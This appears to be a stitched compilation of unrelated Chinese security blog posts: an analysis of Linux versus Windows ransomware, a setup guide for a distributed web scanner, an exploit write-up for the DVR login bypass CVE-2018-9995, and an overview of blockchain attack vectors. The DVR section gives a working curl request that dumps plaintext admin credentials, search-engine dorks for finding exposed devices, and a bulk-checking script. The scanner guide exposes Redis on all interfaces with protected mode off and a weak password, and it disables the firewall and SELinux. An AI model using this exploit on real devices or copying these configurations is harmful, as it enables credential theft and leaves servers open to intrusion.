在所有以linux为中心中,一个非常普遍的模式是,他们倾向于关注特定的技术,这些技术主要与这些系统中这类威胁的主要攻击途径有关。与我们习惯的针对Windows的攻击不同,比如Ryuk或REvil,它们的攻击通常是通过针对许多用户的网络钓鱼活动发起的,Linux最常见的攻击链之一是利用受害者服务器某些暴露服务的漏洞。ESXi中的漏洞也是如此,但也有其他情况,例如IceFire利用IBM技术中的漏洞(CVE-2022-47986)或Cl0p,其Linux版本的目标目录中有几个与Oracle数据库相关的路径以及Linux系统的通用路径。 攻击途径 在Windows环境中,勒索软件攻击者采用广泛的攻击途径来破坏系统。许多具有攻击性的针对windows的勒索软件,通过包含恶意附件(通常在文档中使用宏)或链接的网络钓鱼电子邮件到达受害者的基础设施。例如,Emotet通常是最初的有效负载,受害者基础设施的完全攻击随着Ryuk或Sodinokibi样本的部署而结束。 除了钓鱼电子邮件,过去使用Rig和Magnitude等漏洞工具来利用浏览器或插件等软件中的漏洞,来导致勒索软件的执行(现在已经不常见了)。 另一个常见的攻击途径是利用或暴力破解暴露在互联网上的远程桌面协议(RDP)服务器。 利用暴露服务上的漏洞是勒索软件的主要攻击手段之一。值得注意的是,在这些情况下,攻击链通常涉及到Webshell的部署,最终成为最初允许他们访问并控制相关服务器的工具。 使用被盗凭证获取访问权限(例如,使用SSH)是另一个正在增长的领域。凭证被盗通常是由于其他恶意软件攻击引起的泄漏,或者是由于涉及整个Windows系统网络的同一攻击的横向移动。 在这些情况下,在Linux系统内进行检测是非常复杂的,因为攻击者经常使用内部系统帐户和合法工具来访问系统,而不是后门,其影响与在Windows系统上使用lolbin非常相似。 Linux系统的另一个常见入口类似于Windows系统中的RDP服务,扫描不同的公开服务,然后进行暴力攻击,试图通过弱凭据获得对服务器的访问权。 这是一种非常“嘈杂”的技术,但仍然有效,并且由于访问是通过从公开的服务本身获得的合法凭据进行的,因此难以识别。 如果我们观察Linux服务器的所有常见攻击途径可以发现,每种模式都针对暴露的服务器和关键服务。我们可以看到以linux为目标的勒索软件攻击更侧重于组织和公司,而不是普通用户。 代码重用 正如许多其他类型威胁的恶意软件家族(如Mirai或Quasar)一样,一旦成功威胁的源代码被发布,其他组织就会迅速出现,并试图利用这些代码通过小的修改(在某些情况下不是那么小)来创建自己的工具。就Linux勒索软件而言,最引人注目的是Babuk勒索软件,我们可以在许多其他勒索软件中找到Cylance或Rorschach样本。 基于Babuk的代码重叠 在许多情况下,对初始工具的检测允许我们检测可能从源代码中出现的所有子家族。 持久性比较 持久性在勒索软件中并不像在其他类型的威胁中那么重要,因为一旦受害者的文件和目录被加密,在同一系统中再次执行基本上是没有意义的。然而,这种类型的恶意软件的攻击链确实有了很大的发展,特别是在Windows环境中,因为其目的不是加密单个计算机,而是传播到其他计算机。在大多数情况下,攻击者的目标是一点一点地破坏整个基础设施,一旦他们取得了控制权,整个AD就会被加密,例如,通过GPO的方式,或者对最关键的计算机进行加密,以增加攻击者收到赎金的机会。 在执行勒索软件之前,会执行一系列允许攻击者访问系统的威胁和工具。这些确实需要持久性,因为整个基础设施的攻击可能需要很长时间。然而,尽管这是最常见的场景,但在某些情况下,威胁本身具有建立持久性的功能。 在Windows环境中,勒索软件通过各种手段实现持久性。最著名的例子包括注册表操纵,如WannaCry和Ryuk,确保其有效负载在系统启动期间执行,以及使用计划任务,如Sodinokibi (REvil)背后的许多威胁攻击者,利用Windows任务调度程序创建恶意任务,确保勒索软件定期执行。 在Windows系统上获得持久性的另一种常见方法是服务创建,这是最严格的。因为它需要受害者计算机上的管理员权限,但在更高级的攻击阶段,攻击者已经获得了必要的凭据,并对基础设施有一定的控制,这是最常用的方法之一。 在ESXi和Linux系统中,很少看到勒索软件采用许多已知的持久性方法,这些方法通常被其他类型的威胁所利用。在访问后,易受攻击的服务器被直接加密,并且在许多情况下,例如Lockbit, ESXiArgs, BlackCat或Gwisin,恶意软件在执行后具有自我删除的功能。 作为攻击过程一部分的webshell的部署也应该被视为维护持久性。webshell充当后门,允许攻击者在重新启动或任何类型的更改后保持对这些服务器的访问。在更复杂的攻击期间通过横向移动访问服务器的场景中,这种情况下的持久性主要减少到创建用户帐户或泄露原始服务器凭据,这允许攻击者通过合法服务(如SSH)维持访问。 最后,考虑到与Linux系统相关的事件与Windows系统相比的明显演变,迟早会部署后门,如Merlin或Poseidon,就像现在在Windows上发生的Cobalt Strike一样,将变得更加普遍。因此,攻击者需要利用在Windows系统中更相似的技术,例如Cron job(相当于Windows任务调度程序)或Daemons(相当于Windows服务)等执行来获得持久性。 主要目标 在面向linux的勒索软件的受害者类型和目标方面,我们看到了与Windows同类软件的一些最大差异。首先,我们必须考虑到这些系统所处的环境。Windows在个人电脑和大多数组织的用户工作站中更为普遍,然而,在服务器领域,特别是对于使用Linux的某些类型的部署,Linux通常是唯一有效的选择。 这意味着,就像我们可以很容易地找到多个针对个人和终端的Windows勒索软件家族一样,这在Linux系统中要少见得多。针对Linux的勒索软件更明确地指向暴露的服务器或内部网络上的服务器,这些服务器可以从Windows设备上发起的攻击转向访问。 因此,与Windows威胁相比,Linux勒索软件显然是针对中型和大型组织的,Windows威胁在本质上要普遍得多。 同样,这两个系统的内部结构也导致攻击者选择要加密的文件夹和文件的方式有所不同。我们可以在许多面向linux的样本中找到清单,这些清单旨在避免/boot、/etc或/sys等可能导致系统损坏的目录,就像我们看到Windows恶意软件避免使用一样。 在Windows恶意软件中没有包含目标的配置时,它会不加区分地遍历所有系统磁盘。在Linux恶意软件中,更常见的是发现威胁完全依赖于提供一个或多个目标目录的参数或配置,没有这些参数或配置,威胁就不会执行。例如Royal, Monti, Cylance或Lockbit。 Linux和Windows中扩展管理的差异也会让攻击者产生一些奇怪的行为。Cl0p就是这样一种情况,它使用字符“.”来区分文件和文件夹。这在Windows中非常有效,但在Linux中不一定能很好地工作,因为扩展在这个系统中几乎没有相关性。 Cl0p勒索软件使用“.”进行扩展 但并非所有系列中都存在该参数,对于其他示例,值得注意的是,除了与ESXi或CL0p相关路径(Oracle路径为“/u01/u02/u03/u04”)的特定情况外,/home和/root文件夹是配置中最常见的文件夹,然后是在某些情况下出现的/opt。 泄露 在Linux中,泄漏通常与攻击载体有关。在使用被盗凭证发生攻击的情况下,通常使用合法工具(如SSH服务)获得访问权限,这同时允许从服务器提取所有类型的信息,而无需部署其他工具。 同样,在许多情况下,利用漏洞获得服务器访问权与Webshell的部署相关联,类似的情况大多数发生在Webshell,以及执行Linux命令的功能。因此,它们经常被用作进行渗透的工具。 在Windows系统中,使用RDP、WinSCP或RClone可能与使用SSH或其他合法工具(如Linux中的Curl或Wget)类似。在Windows中非常常见,而在Linux中不太常见的是使用更复杂的威胁,例如过去的威胁Trickbot或Emotet,或者为此目的使用CobaltStrike或其他开发后框架。随着勒索软件样本的成熟,攻击者的https也很可能会成熟,并且我们最终会在Linux中看到使用后门(如Merlin或Poseidon)的这种场景。 值得注意的是,勒索软件组织利用双重勒索已经有一段时间了,因为他们不仅劫持文件,还威胁要在他们的泄密网站上暴露受害者的敏感信息。事实上,Cl0p等几个知名组织已经开展了一些活动,在这些活动中,他们直接跳过了加密工具,只专注于为随后的勒索活动窃取信息。 对系统的影响 在勒索软件事件中,在检测和取证级别上,关键点是攻击者对系统的影响超出了加密本身。在Windows环境中,我们习惯于严密监控旨在删除ShadowCopies、禁用备份以及试图禁用或绕过安全工具的命令。 执行旨在关闭目标服务(如数据库)的命令也相对常见,因为这允许威胁对大多数关键文件进行加密,从而增加受害者支付赎金的压力。 在Linux系统中,对备份和关闭安全工具的担忧还没有Windows那么普遍。然而,如果保持适当的监控,我们可以发现一些影响系统的元素,这些元素可以帮助早期检测。第一个例子在Windows环境中很常见,它是一个互斥锁,在开始加密之前由许多威胁创建,以避免同时执行可能损坏文件而不可能返回。就像在Windows中生成特定的互斥锁对某些家庭起到保护的作用一样,在Linux中,我们有像Lockbit这样的样本,默认情况下,它会生成一个名为/tmp/loker.pid的文件,如果该文件在执行时已经在系统中,则会导致进程立即终止(无论之前生成该文件的进程是否为勒索软件本身)。 与Windows中发生的情况类似,一些家族生成较少重复的文件,例如Gwisin,其生成的互锁文件更具随机性: /tmp/.66486f04-bf24-4f5e-ae16-0af0fdb3d8fe。 当涉及到检测时,一个更简单但效率更低的版本是日志文件。在加密过程中,从真实的攻击活动中找到带有调试信息的文件并不罕见,例如HelloKitty勒索软件或Monti,它们分别生成work.log和result.txt文件,其中包含有关其执行和加密的信息,其内部字符串非常具有这两个家族的特征。但是,应该注意的是,这些文件的存在在任何情况下都不会阻止它们的执行,就像Mutex那样。 关于可以监控的命令的执行,唯一真正值得注意的案例是关于ESXi系统上的虚拟化。大多数面向linux的勒索软件样本都有ESXi版本,或者以直接兼容的方式编译。这就是为什么在这些样本中获得正在运行的设备列表以及停止它们允许加密的功能非常常见的原因。 Royal ransomwareMonti Ransomware中嵌入的Esxi命令 Esxi命令嵌入Monti勒索软件 Gwisin和BlackCat勒索软件: 监控这种类型的执行是很有意义的,因为如果它是在加密之前发生的,这让我们能够预测加密,并可能及时检测并采取行动。 加密方案 每个勒索软件威胁都要使用加密货币。在Windows中,在某些情况下,比如Conti,这部分是如何委托给Windows api本身的。在许多其他情况下,恶意软件使用许多不同的加密库,如CryptoPP(例如,PYSA Ransomware), mbedtls(例如,Petya)和libcrypt(例如,Moneybird)。 在Linux系统的样本中,有一半的样本使用OpenSSL库执行所有加密任务。事实上,几个最著名的恶意软件在二进制文件中静态链接了这个库,占威胁代码的50%以上。不过还有一些恶意软件是在Golang或Rust中开发的。 就算法而言,在Windows上,ChaCha20和RSA占主导地位。 在Linux世界中可以找到的变体数量较少。这些样本中的大多数主要依赖于AES进行加密,ChaCha20是最常见的替方案。 不过,ESXiArgs使用Sosemanuk进行对称加密,而其中Cl0p则在通常使用非对称加密的地方使用带有嵌入式密钥的RC4。攻击者在攻击时会优先考虑效率,因为覆盖所有目标文件的速度越快,遇到的防御就越少。可靠性是第二个考虑因素,因此他们使用安全的库和算法可以避免被分析。这两个因素导致不同的攻击者会创建相对统一的工具,这有助于我们深入了解所使用的工具和优先级,从而使安全研究人员能够更容易地检测到这种类型的威胁。 总结 通过对linux为目标的勒索软件分析可以发现,它们的核心功能通常被简化为基本的加密过程,从而将其余的工作留给脚本和合法的系统工具。这种极简方法不仅使它们严重依赖外部配置和脚本,而且使它们更难以检测。 研究还显示了勒索软件之间的一些独特策略,明确关注ESXi系统,但也涉及其他技术。勒索软件的主要入口途径是暴露服务中的漏洞,在某些情况下,这些漏洞恰恰是最相关的服务,因此也是这类攻击的主要目标。 比较Windows系统和Linux之间的勒索软件加密技术发现,针对Linux的恶意软件倾向于使用OpenSSL作为主要库,AES作为通用加密基石,RSA作为主要的非对称选择。
-
主动分布式WEB资产扫描
一、 Redis的服务安装 系统环境:centos7x64 ip地址:192.168.1.11 1.设置静态IP地址 [root@localhost backlion]#vi /etc/sysconfig/network-scripts/ifcfg-* BOOTPROTO=static #dhcp改为static(修改) ONBOOT=yes #开机启用本配置,一般在最后一行(修改) IPADDR=192.168.1.11 #静态IP(增加) GATEWAY=192.168.1.1#默认网关,虚拟机安装的话,通常是2,也就是VMnet8的网关设置(增加) NETMASK=255.255.255.0 #子网掩码(增加) DNS1=192.168.1.1 #DNS 配置,虚拟机安装的话,DNS就网关就行,多个DNS网址的话再增加(增加) 2.设置主机名 [root@localhost network-scripts]# hostnamectl set-hostname redis-server.com 1.设置Redis的仓库地址 [root@localhost backlion]# yuminstall epel-release 3.关闭防火墙 [root@localhost ~]# cat /etc/selinux/config # This file controls the state of SELinux on the system. # SELINUX= can take one of these three values: # enforcing - SELinux security policy is enforced. # permissive - SELinux prints warnings instead of enforcing. # disabled - No SELinux policy is loaded. SELINUX=disabled # SELINUXTYPE= can take one of three two values: # targeted - Targeted processes are protected, # minimum - Modification of targeted policy. Only selected processes are protected. # mls - Multi Level Security protection. SELINUXTYPE=targeted 关闭firewall: systemctl stop firewalld.service #停止firewall systemctl disable firewalld.service #禁止firewall开机启动 4.安装redis [root@localhost backlion]# yum install redis 修改配置文件,监听所有的IP地址 vim /etc/redis.conf 找到下面这一行 bind 127.0.0.1 改成 bind 0.0.0.0 3.redis配置认证密码 yum方式安装的redis配置文件通常在/etc/redis.conf中,添加密码以及设置daemonize yes和protected-mode no requirepass backlion daemonize yes protected-mode no 4.启动redis,到此完成 [root@localhost backlion]# redis-server /etc/redis.conf [root@localhost backlion]# service redis start 如果需要设置开机自动启动 chkconfig redis on [root@localhost backlion]# yum install git [root@localhost backlion]# cd /opt [root@localhost backlion]# git clone https://github.com/grayddq/PublicSecScan.git 二、Server部署 系统环境:ubuntux64 ip地址:192.168.1.12 1.进入到opt目录 root@backlion:~# cd /opt 2.下载扫描项目PublicSecScan root@backlion:~# Git clone https://github.com/grayddq/PublicSecScan.git 3.进入到PublicSecScan目录 root@backlion:~# cd PublicSecScan 4.进行安装PublicSecScan pip install -r requirements.txt 5对lib/config.py配置文件进行配置(填入Redis和Email(可选)相关信息,wvs信息可忽略 ) 6. domain.txt中填入待扫描信息,可随时更新 7.执行 python PublicSecScan.py 三、Worker部署 系统环境:win7x86 ip地址:192.168.1.13 1.安装python 2.7.5 https://www.python.org/ftp/python/2.7.5/python-2.7.5.msi #这里是win7x86 2.安装AWVS10.5 链接:https://pan.baidu.com/s/16iMwWgIjZyI6CR1ROCd7mQ 密码:ia2m 3.分别安装python的模块 amqp-1.4.6, anyjson-0.3.3, billiard-3.3.0.13, celery-3.1.7,celery-4.1.1,kombu-3.0.25, pytz-2018.4,redis-2.10.6,setuptools-39.2.0,xlwt-1.3.0,pip-10.0.1 用以下命令进行安装 Python setup.py install 其中的包我已打好,上传到百度网盘方便大家下载: 链接: https://pan.baidu.com/s/1SV-wUdzzHMtNuuA2s4fBJQ 密码: tnbw 4.对lib/config.py配置文件进行配置(填入Redis和WVS相关信息,Email信息可忽略 ) 5.进入到PublicSecScan目录,然后执行命令 cmd代码目录执行,-c 1代表多一个WVS进程,可增加: celery -A tasks worker -c 1 --loglevel=info –Ofair 6.在Server部署中查看扫描结果: 输出目录默认:./out/
-
DVR登录绕过漏洞(CVE-2018-9995)
###漏洞描述 此漏洞允许攻击者通过修改“Cookie: uid=admin” 之后访问特定 DVR 的控制面板,返回此设备的明文管理员凭证。 ###漏洞利用 1.利用代码 curl "http://:/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin" 2.poc利用 https://github.com/ezelf/CVE-2018-9995_dvr_credentials git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git cd CVE-2018-9995_dvr_credentials pip install -r requirements.txt ###关键词搜索 1. zoomeye: keyword: “/login.rsp" 2.shodan: keyword:html:"/login.rsp" keyword:"server:GNU rsp/1.0" 3.google: keyword:intitle:"DVR login" ###批量验证 DVR系列摄像头批量检测 使用方法:python CVE-2018-9995_check.py host.txt 其中host.txt内容可以为8.8.8.8:8080或者www.baidu.com,脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里 #author:hzkey import tableprint as tp import sys import requests import re class Colors: GREEN = '\033[32m' RED = '\033[0;31m' BLUE = '\033[*]' ORANGE = '\033[33m' def check_host(host): try: print(Colors.ORANGE+"Checking : %s"%host) url = 'http://' + host+'/login.rsp' rr= requests.get(url,timeout=30,allow_redirects=False) if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]): print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url) ff=open('result.txt','a+') ff.write('%s\n'%(url)) except: pass if __name__ == '__main__': if len(sys.argv) < 2: print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt host.txt:127.0.0.1:8080 or baidu.com """) if len(sys.argv) >= 2: file = open(sys.argv[1]) for i in file: i = i.strip() check_host(i) file.close()
-
区块链攻击向量:区块链技术的主要漏洞(下)
区块链攻击向量:区块链技术的主要漏洞(上) 区块链攻击向量 有数百种可能的区块链攻击针对应用程序的不同部分。让我们看一下关键向量和攻击示例: 点对点攻击 点对点(P2P)网络使区块链成为分布式账本。它包括合作处理交易、管理用户和管理区块链的所有网络参与者。 对于去中心化应用程序(dApp)和加密钱包,主要的网络要求是与可信的区块链节点提供商建立安全连接。此外,钱包和 dApp 之间需要安全连接,并且必须能够处理其他方的不当行为。 常见P2P攻击示例: Sybil攻击是通过向同一节点分配多个标识符来安排的。区块链网络没有可信节点,每个请求都会发送到多个随机节点。在女巫攻击期间,黑客控制多个网络节点。然后受害者就会被假节点包围,关闭他们的所有交易。最后,受害者容易受到双花攻击。 Eclipse 攻击需要黑客控制大量 IP 地址或拥有分布式僵尸网络。然后攻击者覆盖受害节点的tried表中的地址,并等待受害节点重新启动。重启后,受害节点的所有传出连接将被重定向到攻击者控制的IP地址。这使得受害者无法获得他们感兴趣的交易。 时间劫持利用了区块链时间戳处理中的理论上的漏洞。黑客改变节点的网络时间计数器并迫使节点接受替代区块链。当恶意用户将多个具有不准确时间戳的虚假对等点添加到网络时,就可以实现这一点。 Apriorit 针对保护 P2P 网络的建议: 使用 HTTPS 连接并验证 SSL 证书。这些措施允许网络节点建立安全连接并加密传输中的数据。这可以保护数据免遭盗窃和劫持。 验证资源真实性。创建执行恶意操作的流行资源的精确副本是一种常见的黑客技术。您可以通过验证资源名称等方式来验证可信资源。 提高用户的可信度。在纯粹的对等网络中,所有实体都是平等的,但您可以更改这一点以向值得信赖的用户授予更多权限。例如,您可以增加创建新身份的成本,需要某种类型的信任证明才能加入网络,并根据声誉确定用户的权力。 远程过程调用协议攻击 基于远程过程调用(RPC)协议的节点促进区块链中网络元素之间的通信。特别是,RPC 节点允许检索交易历史等数据、执行智能合约、传达新交易以及维护网络共识。 对 RPC 节点的攻击旨在破坏或劫持此通信。此类攻击的常见示例: 分布式拒绝服务(DDoS) 攻击允许黑客通过重复请求消耗所有处理资源来瘫痪网络节点。DDoS 攻击者的目标是断开网络的矿池、电子钱包、数据交换和其他元素。 窃听似乎不会停止节点操作,但它允许恶意行为者监听节点的通信。黑客可以注入恶意代码或利用后门来获得对节点数据、网络路由和通过节点传输的敏感信息的未经授权的访问。根据这些信息,黑客可以找到区块链中的漏洞并计划下一次攻击。 网络钓鱼是一种普遍存在的社会工程攻击,黑客通过让用户点击恶意链接或将数据提交到虚假网站来窃取用户的敏感信息。通过这种方式,黑客可以获取用户与区块链节点通信的信息,进行模仿,从而获得对用户钱包的访问权限。 Apriorit 针对保护 PRC 节点的建议: 运行验证器。验证器在将新交易添加到区块链之前根据网络规则和网络安全标准检查新交易。验证可能会减慢交易处理速度,但它减少了将欺诈或恶意交易永久记录到区块链的机会 实施用户身份验证和访问控制。所有用户在访问区块链网络之前都应确认自己的身份。他们还应该能够仅访问他们需要的元素。此类访问限制可减少黑客未经授权访问用户帐户时的攻击面。 共识攻击 共识机制意味着大多数网络节点必须就区块链系统的状态以及系统的任何更改达成一致。共识机制有多种,其中关键的有: 工作量证明 (PoW),参与者竞争解决复杂的数学难题。第一个解决难题的人有权向区块链添加新区块,并获得加密货币奖励。 权益证明(PoS),根据加密货币的所有权或权益选择新区块的创建者。拥有较高权益的参与者有更大的机会被选择来验证交易并创建新区块。PoS 被认为比 PoW 更节能,因为它不需要相同水平的计算工作。 这些机制通过防止恶意行为者操纵系统来帮助维护区块链的完整性和安全性。黑客可以尝试通过以下类型的攻击来操纵网络共识: 远程 攻击针对使用 PoS 共识算法的网络,用户可以根据自己持有的代币数量来挖掘或验证区块交易。在远程攻击中,黑客使用购买或窃取的具有相当大代币余额的私钥,该私钥过去已用于验证。然后,黑客可以生成区块链的替代历史记录,并根据 PoS 验证增加奖励。 当黑客控制 51% 的网络哈希率并创建一个最终优先于现有分叉的替代分叉时,就有可能发生 51%或多数攻击。所有小型加密货币都面临着多数攻击的风险。由于这些加密货币吸引的矿工较少,攻击者只需租用计算能力即可获得网络的大部分份额。 当攻击者创建两个冲突的交易时,就会执行竞争攻击。第一个交易被发送给受害者,受害者接受付款(例如发送产品),而无需等待交易确认。与此同时,向攻击者返回相同数量的加密货币的冲突交易被广播到网络,最终使第一笔交易无效。 Apriorit 确保区块链共识的建议 落实处罚制度。这样的系统应该检测有害活动并向负责任的节点分配惩罚。例如,这可以通过锁定一些治理参与者并拥有一组随机的见证人来验证每个操作来完成。 延迟区块链确认。许多针对共识算法的攻击需要在网络节点捕获恶意活动之前快速执行。您可以手动减慢交易确认速度,以便有更多时间来检测有害操作。 加密攻击 加密算法帮助区块链保护数据和交易免遭窥探。恶意行为者可以针对依赖薄弱协议或在加密实现中存在错误的网络。此类攻击可帮助黑客窃取数据或资金,或获取有关网络的更多信息以准备下一次攻击。 常见的加密攻击: 哈希冲突是哈希函数错误,它会为任何大小的输入生成固定大小的数组。当两个不同的输入生成相同的输出时,就会发生哈希冲突。如果新交易与现有交易具有相同的哈希值,这可能是一个严重的问题。 私钥预测是尝试猜测或暴力破解与特定用户或实体关联的私钥。此类预测可以基于字典攻击、键盘记录、社会工程和其他攻击向量。 Apriorit 对区块链加密的建议 使用可信且强大的加密算法。您可以实施 TLS、RSA、SHA-256 或任何其他加密算法来保护您的交易。请务必研究您选择的算法并遵循实施最佳实践,以降低创建漏洞的风险。 实施多重签名钱包。这种类型的钱包需要至少两个私钥来签署交易。这样,即使黑客获得了合法用户的私钥,也无法利用它来窃取用户的资金或数据。 交易攻击 恶意行为者通常以区块链网络内的交易为目标。他们的目的是损害交易的完整性、保密性或可用性。此类攻击针对的是智能合约、网络设计以及管理网络内交易的实施算法中的漏洞。黑客可以通过以下方式攻击交易: 交易延展性攻击,旨在诱骗受害者支付两次。例如,在比特币网络中,每笔交易都有一个哈希值,即交易 ID。如果攻击者设法更改交易的 ID,他们可以尝试将具有更改后的哈希值的交易广播到网络,并在原始交易之前对其进行确认。如果成功,发送者将认为初始交易失败,而资金仍将从发送者的帐户中提取。 验证攻击旨在滥用交易验证过程。所有区块链交易都需要经过用户验证才能被认定为有效,这需要时间。攻击者可以利用这种延迟来欺骗系统在多个交易中使用相同的硬币或代币。 时间锁定交易攻击允许黑客利用与时间锁定交易相关的漏洞,这些交易在未来特定时间或满足某些条件之前无法添加到区块链中。 Apriorit 对区块链交易的建议 防止双重支出。像Vector 76这样的双花攻击是共识算法滥用的常见结果,即用户在看似相同的交易中花费了两次代币。您可以通过在侦听期间监控收到的交易、转发双花尝试、插入其他节点来观察交易以及拒绝直接传入连接来防止此问题。 使用时间锁智能合约。这种类型的智能合约为交易添加了各种基于时间的约束。时间锁智能合约通常会强制执行一段时间延迟,在此期间用户无法执行指定的操作。这使得网络节点有时间做出决策和检测可疑交易。 结论 尽管区块链的受欢迎程度仍在上升,但越来越多的针对区块链的网络攻击可能会对这项技术的声誉产生负面影响。虽然存在多种可能的攻击和滥用漏洞,但了解核心区块链安全威胁和攻击向量使您有机会实施可靠的安全措施。能够抵御主要的区块链攻击可以帮助您提高对产品的信任并避免被黑客攻击的负面后果。